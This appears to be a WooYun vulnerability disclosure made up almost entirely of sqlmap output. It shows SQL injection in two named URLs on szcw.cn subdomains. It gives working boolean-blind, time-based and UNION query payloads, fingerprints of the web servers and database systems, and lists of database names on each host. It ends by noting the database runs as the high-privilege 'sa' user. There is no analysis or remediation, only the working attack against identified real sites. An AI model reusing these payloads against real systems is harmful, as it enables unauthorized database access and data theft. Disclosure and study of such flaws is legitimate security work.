WooYun.org

例如：http://szjbh.szcw.cn/contact.php?id=235
Place: GET
Parameter: id
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: id=235) AND 9537=9537 AND (1225=1225
    Type: AND/OR time-based blind
    Title: MySQL > 5.0.11 AND time-based blind
    Payload: id=235) AND SLEEP(5) AND (7508=7508
---
web application technology: PHP 5.3.3, Apache
back-end DBMS: MySQL 5.0.11   --------------
available databases [14]:
[*] auto_system
[*] cop***
[*] esa***
[*] ideap***
[*] information_schema
[*] mysql
[*] sj_c**
[*] sj_k**
[*] sj_z*
[*] sz***
[*] sz**_2012
[*] test
[*] weixin_csa***
[*] you***
第二个：
http://active.szcw.cn/bmpost/form.asp?infoid=328
Place: GET
Parameter: infoid
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: infoid=328 AND 4460=4460
    Type: UNION query
    Title: Generic UNION query (NULL) - 6 columns
    Payload: infoid=328 UNION ALL SELECT NULL,CHAR(113)+CHAR(101)+CHAR(109)+CHA
(103)+CHAR(113)+CHAR(98)+CHAR(79)+CHAR(109)+CHAR(107)+CHAR(97)+CHAR(73)+CHAR(66
+CHAR(116)+CHAR(90)+CHAR(102)+CHAR(113)+CHAR(116)+CHAR(105)+CHAR(117)+CHAR(113)
NULL,NULL,NULL,NULL--
---
web server operating system: Windows 2003 or XP
web application technology: ASP.NET, Microsoft IIS 6.0, ASP
back-end DBMS: Microsoft SQL Server 2005   ---------------------
available databases [14]:
[*] ActiveData_200961
[*] ActiveData_bmpo**
[*] ActiveData_Cru**
[*] ActiveData_cru**wtcc
[*] ActiveData_fo**
[*] ActiveData_QQ3
[*] ActiveData_Tigu*
[*] ActiveData_xb**
[*] kjcm_t**
[*] master
[*] model
[*] msdb
[*] STMar***
[*] tempdb
用户：
[*] esa***
[*] sa
current user:    'sa'    高权限。。。